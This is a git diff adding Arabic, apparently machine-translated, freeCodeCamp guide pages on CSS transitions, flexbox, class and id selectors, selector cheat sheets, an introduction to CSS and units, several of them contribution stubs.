+`ease` - تحدد تأثير الانتقال ببداية بطيئة ، ثم سريعة ، ثم تنتهي ببطء (هذا هو الإعداد الافتراضي) `linear` - يحدد تأثير انتقال بنفس السرعة من البداية إلى النهاية `ease-in` - تحدد تأثير الانتقال ببداية بطيئة `ease-out` - يحدد تأثير انتقال بنهاية بطيئة `ease-in-out` - تحدد تأثير التحويل مع بداية ونهاية بطيئين `cubic-bezier(n,n,n,n)` - يتيح لك تحديد القيم الخاصة بك في وظيفة بيزي مكعب
+
+#### معلومات اكثر:
+
+*   وثائق [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/transition) : [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/transition)
+*   مرجع [الارتفاعات](http://easings.net/en) : [Easings](http://easings.net/en)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/a-complete-guide-to-flexbox/index.md b/client/src/guide/arabic/css/tutorials/a-complete-guide-to-flexbox/index.md
new file mode 100644
index 0000000000..23383039eb
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/a-complete-guide-to-flexbox/index.md
@@ -0,0 +1,11 @@
+---
+title: A Complete Guide to Flexbox
+localeTitle: دليل كامل ل Flexbox
+---
+## دليل كامل ل Flexbox
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/a-complete-guide-to-flexbox/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/a-guide-to-class-and-id-selectors/index.md b/client/src/guide/arabic/css/tutorials/a-guide-to-class-and-id-selectors/index.md
new file mode 100644
index 0000000000..29968fcc92
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/a-guide-to-class-and-id-selectors/index.md
@@ -0,0 +1,99 @@
+---
+title: A Guide to Class and Id Selectors
+localeTitle: دليل لمتخصصي الصف واختياري
+---
+## دليل لمتخصصي الصف واختياري
+
+هذه مقالة تستند إلى محددات CSS. يستخدم CSS لتصميم عناصر HTML وصفحة الويب بشكل عام. لكي يقوم CSS بنمط عنصر على الصفحة ، يجب تحديد هذا العنصر أولاً.
+
+مثل كيف تحتاج إلى تحديد ملف على جهاز الكمبيوتر الخاص بك قبل حذفه. يجب أن تخبر جهازك بالضبط عن الملف الذي تريد تعديله أو حذفه. وبالمثل ، يجب أن تخبر CSS عن العنصر المطلوب استهدافه عند تطبيق أنماط وألوان مختلفة عليه.
+
+على الرغم من أن CSS يمكنها تحديد عناصر بشكل جيد للغاية ، يمكنك توجيهها لتحديد عناصر محددة جدًا. بنهاية هذه المقالة ، سوف تخرج مع المعرفة لتحديد عناصر محددة وأسلوبها.
+
+### ما هو الفصل والمعرف؟
+
+لنفترض أن لديك 5 عناصر في شفرة HTML.
+
+ `
+<p> First paragraph </p> 
+ <p> Second paragraph </p> 
+ <p> Third paragraph </p> 
+ <p> Fourth paragraph </p> 
+ <p> Fifth paragraph </p> 
+` 
+
+يمكنك إعطاء كل منهم لون خط أحمر باستخدام CSS.
+
+ `p { 
+    color: red; 
+ } 
+` 
+
+هذا سهل جدا! ولكن ماذا لو كنت تريد فقط إعطاء الفقرة الثانية لون الخط؟ هذا صعب بعض الشيء في الوقت الحالي. نظرًا لعدم وجود طريقة لتعريف كل عنصر من عناصر الفقرة بشكل فردي ، لا يمكننا تحديدها بشكل منفصل.
+
+_فئة وهوية للانقاذ_
+
+يتصرف التصنيف والهوية مثل بطاقات الهوية لعناصر HTML. كلاهما يساعد في فصل عنصر واحد عن آخر لكنه مختلف بعض الشيء.
+
+* * *
+
+دعنا نقول أنك تلتقي بشخص من بعض النوادي. عندما تسأل هذا الشخص عن بطاقة هوية ناديه ، سيظهر أحدهم باسم النادي على ذلك. الآن جميع أعضاء النادي نفسه سيحصلون على نفس بطاقة الهوية؟
+
+إذا كان هناك 3 أندية - A و B و C. ثم سيكون لجميع أعضاء النادي A نفس بطاقات الهوية. جميع أعضاء نادي B سيكون لديهم نفس اللاعبين ، على الرغم من أنهم سيكونون مختلفين عن بطاقات هوية النادي A و Club C. هذه هي الطريقة التي تعرف بها من هو النادي.
+
+هكذا تعمل `class` . يمكنك إعطاء مجموعة من العناصر فئة وستكون في نادٍ واحد. تماما مثل قاعدة جديدة في النادي يجب أن يتبعها جميع أعضاء النادي ، وبالمثل ، يتم تطبيق جميع قواعد نمط جديد على عناصر في نفس النادي.
+
+ `
+<p class="bike"> Hayabusa </p> 
+ <p class="car"> Chevrolet </p> 
+ <p class="bike"> Hayley-Davidson </p> 
+ <p class="car"> Lamborghini </p> 
+` 
+
+هنا لدينا 4 فقرات. إذا نظرت إلى أسماء الفصل ، فهناك "ناديان". الآن يمكننا اختيار النادي (أو المجموعة) التي نريدها وتطبيق الأنماط التي نريدها عليهم.
+
+ `.bike { 
+    color: blue; 
+ } 
+` 
+
+يمكنك تحديد مجموعة بدلاً من عنصر معين عن طريق التمهيد المسبق لاسم المجموعة بنقطة `.` وتطبيق الأنماط التي تريدها لتلك المجموعة. في هذا المثال ، يتم تطبيق لون الخط الأزرق فقط على الفقرات التي تحتوي على فئة `bike` .
+
+* * *
+
+إذا فهمت `class` ، فسيكون من السهل فهم الهوية.
+
+من مثالنا السابق ، تمثل بطاقة هوية النادي النادي وجميع الأعضاء يمتلكونه. ومع ذلك ، إذا طلبت إثبات هويته الفردية ، فسيعرض الشخص بطاقة هوية مختلفة لديه فقط. لكل شخص واحد مختلف ويمكن استخدامه لتحديدها بشكل فردي.
+
+هذا هو معرف. تماما مثل بطاقات الهوية الشخصية ، يمكن أن يكون عنصر HTML واحد فقط `id` معين. لا عناصر لهما نفس `id` .
+
+ `
+<p id="car"> Ferrari </p> 
+ <p id="car"> Ford </p> 
+ <!-- This is incorrect--> 
+ 
+ <p id="harley"> Harley-Davidson </p> 
+ <p id="hayabusa"> Hayabusa </p> 
+ <!--This is correct since an id is only used once.--> 
+` 
+
+يمكن أن يكون `id` أيضًا مشابهًا للمفتاح الخاص لخزانة الخزانة في النادي. كل شخص في النادي لديه نفس بطاقة الهوية الخاصة بالنادي ، لكن مفتاح خزانة كل شخص مختلف وفريد.
+
+على غرار مثال `class` ، يمكنك تحديد عنصر معين وتطبيق الأنماط عليه من خلال تحديد اسم معرف مسبق بـ `#` .
+
+ `#hayabusa { 
+    font-style: bold; 
+ } 
+` 
+
+* * *
+
+من السهل تذكر - الاستخدام `.` قبل اسم _الفئة_ و `#` قبل اسم _معرف_ .
+
+كلاهما لها استخداماتها الخاصة.
+
+> يتم استخدام الفئة عند تطبيق الأنماط على عناصر متعددة ويتم استخدام المعرف عند تطبيق الأنماط على عنصر معين.
+
+ضع ذلك في الاعتبار عند استخدام الفصل والمعرف لتحديد عناصر معينة وأسلوبها.
+
+باستخدام هذا ، قمت بإضافة المزيد من الأدوات إلى مربع الأدوات الخاص بك لعناصر التصميم على صفحة ويب.
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/centering-in-css-a-complete-guide/index.md b/client/src/guide/arabic/css/tutorials/centering-in-css-a-complete-guide/index.md
new file mode 100644
index 0000000000..6053bb64d0
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/centering-in-css-a-complete-guide/index.md
@@ -0,0 +1,11 @@
+---
+title: Centering in CSS a Complete Guide
+localeTitle: توسيط في CSS دليل كامل
+---
+## توسيط في CSS دليل كامل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/centering-in-css-a-complete-guide/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/css-flexbox-tips-and-tricks/index.md b/client/src/guide/arabic/css/tutorials/css-flexbox-tips-and-tricks/index.md
new file mode 100644
index 0000000000..77763fc8ed
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/css-flexbox-tips-and-tricks/index.md
@@ -0,0 +1,130 @@
+---
+title: CSS Flexbox Tips and Tricks
+localeTitle: CSS Flexbox نصائح والخدع
+---
+# CSS Flexbox
+
+يسمح [CSS Flexbox](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes) لنا بتنسيق HTML الخاص بنا بسهولة كما لم تعرف أبدًا. مع flexbox فمن الممكن لمحاذاة عموديا وأفقيا ، بسهولة. مثل صوت ذلك؟ نعم انا ايضا.
+
+وهو أيضًا رائع للتخطيط العام لموقعك على الويب أو تطبيقك ، فمن السهل تعلمه ودعمه جيدًا (في جميع المتصفحات الحديثة) وهو أمر رائع للعمل معه ، ناهيك عن أنه لا يستغرق وقتًا طويلاً للسيطرة على الإطلاق !
+
+## حول flexbox
+
+فيما يلي قائمة بخصائص flexbox التي يمكن استخدامها لوضع عناصر خارجة في css:
+
+### CSS التي يمكن تطبيقها على الحاوية
+
+ `display: flexbox | inline-flex; 
+ flex-direction: row | row-reverse | column | column-reverse; 
+ flex-wrap: nowrap | wrap | wrap-reverse; 
+ flex-flow: <'flex-direction'> || <'flex-wrap'> 
+ justify-content: flex-start | flex-end | center | space-between | space-around; 
+ align-items: flex-start | flex-end | center | baseline | stretch; 
+ align-content: flex-start | flex-end | center | space-between | space-around | stretch; 
+` 
+
+### CSS التي يمكن تطبيقها على العناصر / العناصر في الحاوية
+
+ `order: <integer>; 
+ flex-grow: <number>; /* default 0 */ 
+ flex-shrink: <number>; /* default 1 */ 
+ flex-basis: <length> | auto; /* default auto */ 
+ flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ] 
+ align-self: auto | flex-start | flex-end | center | baseline | stretch; 
+` 
+
+حتى الآن لديك مجموعة الأدوات الخاصة بك ولكنك تسأل "ماذا أفعل بأدواتي ، كيف أستخدمها؟" ، دعني أريك.
+
+### عرض فليكس
+
+`display: flex;` هو فقط لإخبار المستعرض الخاص بك مهلا أود استخدام flexbox مع هذه الحاوية ، من فضلك. سيؤدي هذا إلى تهيئة هذا المربع كحاوية مرنة وتطبيق بعض خصائص المرن الافتراضية.
+
+هذا هو ما يشبه الحاوية بدون `display: flex;`
+
+![ملعب CSS لا توجد خصائص مرنة](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8f20f30d24cba9a7f56bf950a3f23d37d356ca51.png)
+
+بعد إضافة `display: flex;` نحصل على أدناه ، يتم تطبيق خصائص المرن الافتراضية مما يجعلها تظهر على هذا النحو
+
+![يعرض ملعب CSS النمط الافتراضي المرن](//discourse-user-assets.s3.amazonaws.com/original/2X/6/66404664f9177ae748be00f769faf67d5956034d.png)
+
+### فليكس الاتجاه
+
+`flex-direction:` يسمح لنا بالتحكم في كيفية عرض العناصر في الحاوية ، هل تريدها من اليسار إلى اليمين ، من اليمين إلى اليسار ، من الأعلى إلى الأسفل أو من الأسفل إلى الأعلى؟ يمكنك القيام بكل ذلك بسهولة مع تحديد الاتجاه المرن للحاوية.
+
+يطبق Flexbox الصف باعتباره الافتراضي للاتجاه. هذا ما يبدو عليه الجميع:
+
+`flex-direction: row;`
+
+![الاتجاه المرن: صف ؛ مثال](//discourse-user-assets.s3.amazonaws.com/original/2X/9/951cc993820547efa28e70dca905f5531a4488d5.png)
+
+`flex-direction: row-reverse;`
+
+![الاتجاه المرن: مثال عكس الصف](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cf738aaf83f29eccdb461e91b775b10e41b92389.png)
+
+`flex-direction: column;`
+
+![flex-direction: column example](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7ef77565bc07ee86fd3033a531dd76b49709cf7e.png)
+
+`flex-direction: column-reverse;`
+
+![الاتجاه المرن: مثال عكس العمود](//discourse-user-assets.s3.amazonaws.com/original/2X/e/ec9a1ec064bf0027fa61016ca620df14d9bd47a9.png)
+
+### فليكس التفاف
+
+ستحاول Flexbox بشكل افتراضي أن تلائم جميع العناصر في صف واحد ولكن يمكنك تغيير ذلك باستخدام خاصية التعبئة المرنة ، وهذا يسمح لك بتحديد ما إذا كانت العناصر ستنسكب أم لا ، هناك 3 خصائص `flex-wrap:`
+
+`flex-wrap: nowrap` هذا هو `flex-wrap: nowrap` الافتراضي وسوف يتناسب مع كل شيء في صف واحد من اليسار إلى اليمين.
+
+`flex-wrap: wrap` هذا سيسمح للعناصر بالاستمرار لإنشاء صفوف متعددة ومن اليسار إلى اليمين.
+
+`flex-wrap: wrap-reverse` يتيح `flex-wrap: wrap-reverse` أن تكون العناصر على عدة صفوف ولكن يتم عرضها من اليمين إلى اليسار هذه المرة.
+
+### فليكس فلو
+
+ويجمع التدفق المرن بين استخدام `flex-wrap` `flex-direction` في خاصية واحدة ، ويتم استخدامه أولاً من خلال تحديد الاتجاه ثم الالتفاف.
+
+`flex-flow: column wrap;` هو مثال إذا كنت تستخدم هذا.
+
+### تبرير المحتوى
+
+`justify-content` خاصية aa لمحاذاة العناصر في الحاوية على طول المحور الرئيسي (يتغير هذا بناءً على كيفية عرض المحتوى). هناك العديد من الخيارات لهذا الأمر ، ويسمح لنا بملء أي مساحة فارغة على الصفوف ، ولكن تحديد كيفية "تبرير" ذلك.
+
+فيما يلي خياراتنا عندما نبرر `flex-start | flex-end | center | space-between | space-around;` المحتوى الخاص بنا `flex-start | flex-end | center | space-between | space-around;` .
+
+### محاذاة العناصر
+
+تتيح لنا عناصر المحاذاة محاذاة العناصر على المحور المقابل. يسمح ذلك بوضع المحتوى بعدة طرق مختلفة باستخدام تبرير المحتوى ومحاذاة العناصر معًا.
+
+`align-items: flex-start | flex-end | center | baseline | stretch;`
+
+### محاذاة المحتوى
+
+هذا هو لمحاذاة العناصر مع خطوط متعددة ، وهو للمحاذاة على المحور المقابل ولن يكون له أي تأثير على المحتوى الذي هو سطر واحد.
+
+`align-content: flex-start | flex-end | center | space-between | space-around | stretch;`
+
+## الألعاب والتطبيقات
+
+[Flexbox Defense](http://www.flexboxdefense.com/) هي لعبة الويب التي تعلم flexbox بطريقة ممتعة.
+
+[Flexbox Froggy](http://flexboxfroggy.com/) هي لعبة على شبكة الإنترنت تعلم المرن بطريقة ممتعة.
+
+[Flexbox in 5](http://flexboxin5.com/) هو تطبيق ويب يسمح لك بمشاهدة كيفية عمل flexbox مع بعض عناصر التحكم البسيطة.
+
+[Flexyboxes](http://the-echoplex.net/flexyboxes/) هو تطبيق يتيح لك أيضًا مشاهدة نماذج التعليمات البرمجية وتغيير المعلمات لمعرفة كيف يعمل flexbox بصريًا.
+
+[Flexbox Patters](http://www.flexboxpatterns.com) هو موقع ويب يعرض كميات من أمثلة flexbox
+
+## كابل بيانات
+
+[شبكة مطوري موزيلا](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes)
+
+[CSS الخدع](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
+
+## أشرطة فيديو
+
+[أساسيات Flexbox](https://www.youtube.com/watch?v=G7EIAgfkhmg)
+
+[أمثلة عملية Flexbox](https://www.youtube.com/watch?v=H1lREysgdgc)
+
+[ما ال Flexbox؟](https://www.youtube.com/watch?v=Vj7NZ6FiQvo&list=PLu8EoSxDXHP7xj_y6NIAhy0wuCd4uVdid)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/css-selectors-cheat-sheet/index.md b/client/src/guide/arabic/css/tutorials/css-selectors-cheat-sheet/index.md
new file mode 100644
index 0000000000..5539e49dea
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/css-selectors-cheat-sheet/index.md
@@ -0,0 +1,61 @@
+---
+title: CSS Selectors Cheat Sheet
+localeTitle: CSS المختارات الغش ورقة
+---
+# مختارات CSS
+
+في CSS ، تكون المحددات هي الأنماط المستخدمة لتحديد عناصر DOM.
+
+هنا مثال على استخدام المحددات. في التعليمة البرمجية التالية ، تكون `a` و `h1` محددات:
+
+ `a { 
+  color: black; 
+ } 
+ 
+ h1 { 
+  font-size 24px; 
+ } 
+` 
+
+## قائمة الغش من المحددات
+
+| محدد | يختار |  
+| --- | --- | | `head` | يحدد العنصر مع علامة `head`  
+| `.red` | يختار جميع العناصر مع الطبقة "الحمراء"  
+| `#nav` | يحدد العناصر التي تحتوي على "nav" Id |  
+| `div.row` | يحدد كل العناصر بعلامة `div` وفئة 'row' | | `[aria-hidden="true"]` | يحدد جميع العناصر ذات السمة `aria-hidden` بقيمة "true" | | `*` | اختيار حرف البدل. يحدد كل عناصر DOM. انظر أدناه لاستخدامه مع محددات أخرى |
+
+يمكننا الجمع بين المحددات بطرق مثيرة للاهتمام. بعض الأمثلة:
+
+| المختارون | يختار |  
+| --- | --- | | `li a` DOM descendant combinator. كل `a` العلامات التي طفلا من `li` علامات |  
+| `div.row *` | يقوم بتحديد كل العناصر التي تكون تابعة (أو الطفل) للعناصر ذات علامة `div` وفئة 'row' |  
+| `li > a` | اختلاف combinator. حدد أحفاد مباشرة ، بدلا من كل أحفاد مثل محددات السليل |  
+| `li + a` | combinator المجاور. فإنه يحدد العنصر الذي يسبقه مباشرة العنصر السابق. في هذه الحالة ، فقط أول `a` بعد كل `li` . |  
+| `li, a` | يختار كل `a` العناصر وكل `li` العناصر. |  
+| `li ~ a` | الأخت الأصطف. يختار `a` عنصر بعد `li` عنصر. |
+
+من المفيد أيضًا اختيار محددات الزائفة أو الطبقات الهيكلية الزائفة لتحديد العناصر الهيكلية من DOM. فيما يلي بعض منها:
+
+| المختارون | يختار | | --- | --- |  
+| `:first-child` | استهدف العنصر الأول مباشرة داخل (أو طفل) عنصر آخر  
+| `:last-child` | استهدف العنصر الأخير مباشرة داخل (أو تابع) عنصر آخر  
+| `:nth-child()` | استهدف العنصر n مباشرة داخل عنصر آخر (أو تابع لـ). يعترف الأعداد الصحيحة ، `even` ، `odd` ، أو الصيغ |  
+| `a:not(.name)` | يختار كل `a` العناصر التي ليست من `.name` الطبقة |  
+| `::after` | يسمح بإدخال محتوى على صفحة من CSS بدلاً من HTML. في حين أن النتيجة النهائية ليست في الواقع في DOM ، فإنها تظهر على الصفحة كما لو كانت كذلك. يتم تحميل هذا المحتوى بعد عناصر HTML. |  
+| `::before` | يسمح بإدخال محتوى على صفحة من CSS بدلاً من HTML. في حين أن النتيجة النهائية ليست في الواقع في DOM ، فإنها تظهر على الصفحة كما لو كانت كذلك. يتم تحميل هذا المحتوى قبل عناصر HTML. |
+
+يمكننا استخدام فصول زائفة لتحديد حالة خاصة لعنصر DOM ولكن لا تشير إلى عنصر في حد ذاته. بعض الأمثلة:
+
+| فئة زائفة | يختار | | --- | --- | | `:hover` | يحدد عنصر يحوم مؤشر الماوس  
+| `:focus` | يحدد عنصر تلقي التركيز من لوحة المفاتيح أو برمجيًا | | `:active` | يحدد عنصر يتم النقر بواسطة مؤشر الماوس  
+| `:link` | يختار كل الروابط التي لم يتم النقر بعد |  
+| `:visited` | يحدد الرابط الذي تم بالفعل النقر |
+
+## ألعاب
+
+[CSS Diner](http://flukeout.github.io) هي لعبة الويب التي تعلم كل شيء تقريبا هناك لمعرفة الجمع بين المحددات.
+
+## مرجع إضافي
+
+هناك العديد من محددات CSS! تعرف عليهم في [CodeTuts](http://code.tutsplus.com/tutorials/the-30-css-selectors-you-must-memorize--net-16048) ، [CSS-tricks.com](https://css-tricks.com/almanac/selectors/) ، [w3schools.com](http://www.w3schools.com/cssref/css_selectors.asp) أو في [موزيلا شبكة مطوري](https://developer.mozilla.org/en/docs/Web/Guide/CSS/Getting_started/Selectors) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md b/client/src/guide/arabic/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md
new file mode 100644
index 0000000000..247fa4267c
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Absolute Center an Image Both Vertical and Horizontal
+localeTitle: كيفية مركز مطلق صورة على حد سواء الرأسي والأفقي
+---
+## كيفية مركز مطلق صورة على حد سواء الرأسي والأفقي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/how-to-add-stroke-to-web-text/index.md b/client/src/guide/arabic/css/tutorials/how-to-add-stroke-to-web-text/index.md
new file mode 100644
index 0000000000..c7f534c5ec
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/how-to-add-stroke-to-web-text/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Add Stroke to Web Text
+localeTitle: كيفية إضافة السكتة الدماغية إلى نص الويب
+---
+## كيفية إضافة السكتة الدماغية إلى نص الويب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/how-to-add-stroke-to-web-text/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/index.md b/client/src/guide/arabic/css/tutorials/index.md
new file mode 100644
index 0000000000..9ec24d4c4e
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/index.md
@@ -0,0 +1,11 @@
+---
+title: Tutorials
+localeTitle: دروس
+---
+## دروس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/introduction-to-css/index.md b/client/src/guide/arabic/css/tutorials/introduction-to-css/index.md
new file mode 100644
index 0000000000..e582c82ee4
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/introduction-to-css/index.md
@@ -0,0 +1,51 @@
+---
+title: Introduction to CSS
+localeTitle: مقدمة في CSS
+---
+## مقدمة في CSS
+
+### ما هو CSS؟
+
+تصف Cascading Style Sheets (CSS) كيف يجب أن تظهر html على الصفحة.
+
+قبل تطبيق مطوري CSS الأنماط باستخدام السمات أو علامات خاصة على كل عقدة من الصفحة. جعل هذا التكرار علامة متكررة وعرضة للأخطاء.
+
+تسمح CSS لمعلمات بتوضيح كيفية ظهور كل جزء من محتوى المطابقة.
+
+ `body { 
+    font-size: 15px; 
+ } 
+ 
+ a { 
+    color: rebeccapurple; 
+    text-decoration: underline; 
+ } 
+` 
+
+### استخدام المغلق
+
+تسمح **أوراق الأنماط الخارجية** لصفحات كثيرة بمشاركة نفس الأنماط.
+
+ `<link href="styles.css" rel="stylesheet" type="text/css"> 
+` 
+
+تطبق **أوراق الأنماط الداخلية** CSS على كل العلامات المطابقة في الصفحة.
+
+ `<style> 
+    h1 { 
+        font-family: sans-serif; 
+        margin-bottom: 1.5em; 
+    } 
+ </style> 
+` 
+
+تطبق **CSS مضمنة** الأنماط على علامة واحدة.
+
+ `<img src="..." style="border: 1px solid red;" /> 
+` 
+
+#### معلومات اكثر:
+
+*   [W3Schools](https://www.w3schools.com/css/css_intro.asp)
+*   [CSS-Tricks Almanac](https://css-tricks.com/almanac/)
+*   [Sitepoint](https://www.sitepoint.com/html-css/?ref_source=github)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/perfect-full-page-background-image/index.md b/client/src/guide/arabic/css/tutorials/perfect-full-page-background-image/index.md
new file mode 100644
index 0000000000..dfecfd9311
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/perfect-full-page-background-image/index.md
@@ -0,0 +1,11 @@
+---
+title: Perfect Full Page Background Image
+localeTitle: الكمال صورة خلفية الصفحة الكاملة
+---
+## الكمال صورة خلفية الصفحة الكاملة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/perfect-full-page-background-image/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/scaling-background-images/index.md b/client/src/guide/arabic/css/tutorials/scaling-background-images/index.md
new file mode 100644
index 0000000000..315a5ca52a
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/scaling-background-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Scaling Background Images
+localeTitle: تحجيم خلفية الصور
+---
+## تحجيم خلفية الصور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/scaling-background-images/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/tutorials/transparent-background-images/index.md b/client/src/guide/arabic/css/tutorials/transparent-background-images/index.md
new file mode 100644
index 0000000000..1d3de6177a
--- /dev/null
+++ b/client/src/guide/arabic/css/tutorials/transparent-background-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Transparent Background Images
+localeTitle: صور خلفية شفافة
+---
+## صور خلفية شفافة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/transparent-background-images/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/units/index.md b/client/src/guide/arabic/css/units/index.md
new file mode 100644
index 0000000000..e06d4038cb
--- /dev/null
+++ b/client/src/guide/arabic/css/units/index.md
@@ -0,0 +1,80 @@
+---
+title: Units
+localeTitle: وحدات
+---
+## وحدات
+
+العديد من خصائص CSS مثل `width` ، `margin` ، `padding` ، `font-size` إلخ. يحتوي CSS على طريقة للتعبير عن الطول في وحدات متعددة. الطول عبارة عن مزيج من رقم ووحدة بدون مسافات بيضاء. على سبيل المثال ، `5px` و `0.9em` ذلك
+
+### الطول
+
+#### وحدات طول العام
+
+هناك عدة وحدات تستخدم من قبل CSS للتعبير عن الطول. الأقدم منها ، مدعومة من جميع المتصفحات ، هي:
+
+*   **rem** - "r" تعني "root": "root em" - والتي تساوي حجم الخط الثابت لعنصر الجذر (دائمًا `<html>` ).
+*   **vh** و **vw** - تعتمد العديد من تقنيات تصميم الويب **سريع** الاستجابة بشكل كبير على قواعد النسبة المئوية. ومع ذلك ، لا تكون مقاييس النسبة المئوية CSS دائمًا أفضل حل لجميع المشكلات. يساوي التدبير **vh** 1/100 من ارتفاع منفذ العرض. لذلك ، على سبيل المثال ، إذا كان ارتفاع المتصفح 800 بكسل ، وقيمة 1vh تساوي 8 بكسل ، وبالمثل ، إذا كان عرض إطار العرض هو 650 بكسل ، فإن 1vw يعادل 6.5 بكسل.
+*   **vmin** و **vmax** - **ترتبط** هذه الوحدات بالقيمة القصوى أو الدنيا لـ **vh** و **vw** . على سبيل المثال ، إذا كان المتصفح قد تم تعيينه على 1200px عريضًا وكان الارتفاع 600 بكسل ، فإن 1vmin سيكون 6px وسيكون 1vmax 12px. ومع ذلك ، إذا تم ضبط العرض على 700 بكسل وتعيين الارتفاع على 1080 بكسل ، فسوف يساوي vmin 7px و vmax 10.8px.
+*   **ex** and **ch** - تعتمد هذه الوحدات ، مثل **em** و **rem** ، على الخط وحجم الخط الحاليين. ومع ذلك ، على عكس **em** و **rem** ، تعتمد هذه الوحدات أيضًا على `font-family` حيث يتم تحديدها استنادًا إلى إجراءات خاصة بكل خط. يتم تعريف الوحدة **ch** ("وحدة الأحرف") على أنها عرض الحرف صفر ("0"). يتم تعريف الوحدة **السابقة** بأنها "x الحالي ارتفاع الخط الحالي أو نصف 1em". ارتفاع x لخط معين هو ارتفاع "x" من هذا الخط. وغالبًا ما تكون العلامة المتوسطة للخط.
+
+| الوحدة الوصف | | --------------- | ----------------------- | | em | 1 em هي القيمة الحسابية لحجم الخط على العنصر الذي يتم استخدامه فيه. | | ex | 1 ex هو ارتفاع الخط الحالي x. يكون x-height عادة (ولكن ليس دائمًا ، على سبيل المثال ، إذا لم يكن هناك "x" في الخط) مساوياً لارتفاع الحرف الصغير "x" | | ch | 1 ch هو تقدم الحرف الرسومي '0' (صفر) في الخط الحالي. "ch" تعني الحرف. | | rem | 1 rem هي القيمة المحسوبة لخاصية حجم الخط لعنصر المستند الأساسي | vw | 1vw هو 1٪ من عرض إطار العرض. "vw" تعني "عرض إطار العرض". | | vh | 1vh هو 1٪ من ارتفاع إطار العرض. "vh" تعني "ارتفاع إطار العرض". | | vmin | يساوي الأصغر من "vw" أو "vh" | | vmax | يساوي أكبر من "vw" أو "vh" |
+
+هناك نوعان عامان من الوحدات المستخدمة للطول والحجم في CSS: نسبي ومطلق.
+
+### الوحدات النسبية
+
+تتغير الوحدات النسبية نسبة إلى حجم الخط الحالي للعنصر أو إعدادات أخرى. بعض الوحدات النسبية هي
+
+*   `em`
+*   عرض حرف كبير M `font-size` العنصر الحالي.
+*   يتم تعداد أحجام الخطوط من العناصر الرئيسية.
